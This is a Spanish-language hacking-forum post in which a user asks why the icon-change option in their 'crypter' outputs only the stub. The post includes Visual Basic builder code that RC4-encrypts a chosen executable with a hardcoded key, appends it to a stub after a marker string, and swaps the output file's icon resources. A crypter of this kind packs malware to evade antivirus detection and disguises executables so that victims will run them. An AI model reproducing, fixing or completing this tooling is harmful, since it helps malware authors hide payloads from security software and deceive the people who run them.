comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Agregando Change Icon A mi Client

  • 0 Respuestas
  • 1098 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d3vilz5

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 09, 2013, 10:51:23 pm »
tengo el siguiente problema estoy intentando colocar un change icon a mi cliente y pasa que cuando intento usar la opcion
que e colocado en mi crypter para poder cambiar el icono pasa lo siguiente,

1 selecciono el archivo exe que encriptare
2 tildo la opcion icon changer
3 cargo el icono que quiero que el exe final contenga
4 doy en encriptar
5 me crea el exe con el icono cambiado

pero pasa un problema

el exe final solo es el mismo stub con el icono cambiado

mas si no uso la option change icon encrypto,  todo muy bien abre  todo
pero sin mi objetivo, que es el exe encryptado con el icono cambiado y funcinal



espero sus amables respuestas!


EnCriptar_Click:

Código: Visual Basic
  1. Private Sub EnCriptar_Click()
  2. Dim sData As String, EOF As String, File As String, Icon As String
  3.  
  4. Open App.Path & "\Stub.exe" For Binary As #1
  5. sData = Space(LOF(1))
  6. Get #1, , sData
  7. Close #1
  8.  
  9. If Check1.Value = 1 Then EOF = ReadEOFData(Archivo.Text)
  10. 'If chkChangeIcon.Value = 1 Then Icon = ChangeIcon(Archivo.Text)
  11.  
  12. Open Archivo.Text For Binary As #1
  13. File = Space(LOF(1))
  14. Get #1, , File
  15. Close #1
  16.  
  17. File = RC4(File, "therefenge")
  18. If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)
  19. 'If chkChangeIcon.Value = 1 Then Call ChangeIcon(CD.FileName, Icons)
  20. Open App.Path & "\CD.exe" For Binary As #1
  21. Put #1, , sData & "[Theref]" & File
  22. Close #1
  23.  
  24.  
  25. If chkChangeIcon.Value = Checked Then
  26. If txtIcon.Text <> "Select an icon..." And txtIcon.Text <> "" Then
  27. If ChangeIcon(App.Path & "\CD.exe", txtIcon.Text) Then
  28. Else
  29. End If
  30. End If
  31.        
  32. 'If chkChangeIcon.Value = 1 Then
  33. 'Call ChangeIcon(App.Path & "\CD.exe", txtIcon.Text)
  34. 'Else
  35. 'End If
  36. End If
  37. End Sub
  38.  

Modulo: Change Icon

Código: Visual Basic
  1. Option Explicit
  2.  
  3. Private Const OPEN_EXISTING             As Long = &H3
  4. Private Const INVALID_HANDLE_VALUE      As Long = -1
  5. Private Const GENERIC_READ              As Long = &H80000000
  6. Private Const FILE_ATTRIBUTE_NORMAL     As Long = &H80
  7. Private Const FILE_BEGIN                As Long = &H0
  8. Private Const RT_ICON                   As Long = &H3
  9. Private Const RT_GROUP_ICON             As Long = &HE
  10.  
  11. Private Type ICONDIRENTRY
  12.     bWidth          As Byte
  13.     bHeight         As Byte
  14.     bColorCount     As Byte
  15.     bReserved       As Byte
  16.     wPlanes         As Integer
  17.     wBitCount       As Integer
  18.     dwBytesInRes    As Long
  19.     dwImageOffset   As Long
  20. End Type
  21.  
  22. Private Type ICONDIR
  23.     idReserved      As Integer
  24.     idType          As Integer
  25.     idCount         As Integer
  26. End Type
  27.  
  28. Private Type GRPICONDIRENTRY
  29.     bWidth          As Byte
  30.     bHeight         As Byte
  31.     bColorCount     As Byte
  32.     bReserved       As Byte
  33.     wPlanes         As Integer
  34.     wBitCount       As Integer
  35.     dwBytesInRes    As Long
  36.     nID             As Integer
  37. End Type
  38.  
  39. Private Type GRPICONDIR
  40.     idReserved      As Integer
  41.     idType          As Integer
  42.     idCount         As Integer
  43.     idEntries()     As GRPICONDIRENTRY
  44. End Type
  45.  
  46. Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
  47. Private Declare Function ReadFile Lib "kernel32" (ByVal lFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
  48. Private Declare Function SetFilePointer Lib "kernel32" (ByVal lFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
  49. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  50. Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
  51. Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal lUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
  52. Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal lUpdate As Long, ByVal fDiscard As Long) As Long
  53. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  54.  
  55. Public Function ChangeIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
  56.     Dim lFile               As Long
  57.     Dim lUpdate             As Long
  58.     Dim lRet                As Long
  59.     Dim i                   As Integer
  60.     Dim tICONDIR            As ICONDIR
  61.     Dim tGRPICONDIR         As GRPICONDIR
  62.     Dim tICONDIRENTRY()     As ICONDIRENTRY
  63.    
  64.     Dim bIconData()         As Byte
  65.     Dim bGroupIconData()    As Byte
  66.    
  67.     lFile = CreateFile(strIcoPath, GENERIC_READ, 0, ByVal 0&, OPEN_EXISTING, 0, ByVal 0&)
  68.    
  69.     If lFile = INVALID_HANDLE_VALUE Then
  70.         ChangeIcon = False
  71.         CloseHandle (lFile)
  72.         Exit Function
  73.     End If
  74.    
  75.     Call ReadFile(lFile, tICONDIR, Len(tICONDIR), lRet, ByVal 0&)
  76.    
  77.     ReDim tICONDIRENTRY(tICONDIR.idCount - 1)
  78.    
  79.     For i = 0 To tICONDIR.idCount - 1
  80.         Call ReadFile(lFile, tICONDIRENTRY(i), Len(tICONDIRENTRY(i)), lRet, ByVal 0&)
  81.     Next i
  82.    
  83.     ReDim tGRPICONDIR.idEntries(tICONDIR.idCount - 1)
  84.    
  85.     tGRPICONDIR.idReserved = tICONDIR.idReserved
  86.     tGRPICONDIR.idType = tICONDIR.idType
  87.     tGRPICONDIR.idCount = tICONDIR.idCount
  88.    
  89.     For i = 0 To tGRPICONDIR.idCount - 1
  90.         tGRPICONDIR.idEntries(i).bWidth = tICONDIRENTRY(i).bWidth
  91.         tGRPICONDIR.idEntries(i).bHeight = tICONDIRENTRY(i).bHeight
  92.         tGRPICONDIR.idEntries(i).bColorCount = tICONDIRENTRY(i).bColorCount
  93.         tGRPICONDIR.idEntries(i).bReserved = tICONDIRENTRY(i).bReserved
  94.         tGRPICONDIR.idEntries(i).wPlanes = tICONDIRENTRY(i).wPlanes
  95.         tGRPICONDIR.idEntries(i).wBitCount = tICONDIRENTRY(i).wBitCount
  96.         tGRPICONDIR.idEntries(i).dwBytesInRes = tICONDIRENTRY(i).dwBytesInRes
  97.         tGRPICONDIR.idEntries(i).nID = i + 1
  98.     Next i
  99.    
  100.     lUpdate = BeginUpdateResource(strExePath, False)
  101.     For i = 0 To tICONDIR.idCount - 1
  102.         ReDim bIconData(tICONDIRENTRY(i).dwBytesInRes)
  103.         SetFilePointer lFile, tICONDIRENTRY(i).dwImageOffset, ByVal 0&, FILE_BEGIN
  104.         Call ReadFile(lFile, bIconData(0), tICONDIRENTRY(i).dwBytesInRes, lRet, ByVal 0&)
  105.    
  106.         If UpdateResource(lUpdate, RT_ICON, tGRPICONDIR.idEntries(i).nID, 0, bIconData(0), tICONDIRENTRY(i).dwBytesInRes) = False Then
  107.             ChangeIcon = False
  108.             CloseHandle (lFile)
  109.             Exit Function
  110.         End If
  111.        
  112.     Next i
  113.  
  114.     ReDim bGroupIconData(6 + 14 * tGRPICONDIR.idCount)
  115.     CopyMemory ByVal VarPtr(bGroupIconData(0)), ByVal VarPtr(tICONDIR), 6
  116.  
  117.     For i = 0 To tGRPICONDIR.idCount - 1
  118.         CopyMemory ByVal VarPtr(bGroupIconData(6 + 14 * i)), ByVal VarPtr(tGRPICONDIR.idEntries(i).bWidth), 14&
  119.     Next
  120.                
  121.     If UpdateResource(lUpdate, RT_GROUP_ICON, 1, 0, ByVal VarPtr(bGroupIconData(0)), UBound(bGroupIconData)) = False Then
  122.         ChangeIcon = False
  123.         CloseHandle (lFile)
  124.         Exit Function
  125.     End If
  126.    
  127.     If EndUpdateResource(lUpdate, False) = False Then
  128.         ChangeIcon = False
  129.         CloseHandle (lFile)
  130.     End If
  131.  
  132.     Call CloseHandle(lFile)
  133.     ChangeIcon = True
  134. End Function
  135. Public Function ExtractIcon(ByVal strExePath As String, ByVal strIcoPath As String) As Boolean
  136.     'In Progress
  137. End Function
  138.  
« Última modificación: Septiembre 26, 2014, 09:26:36 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 6285
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2129
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1535
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2675
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3345
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon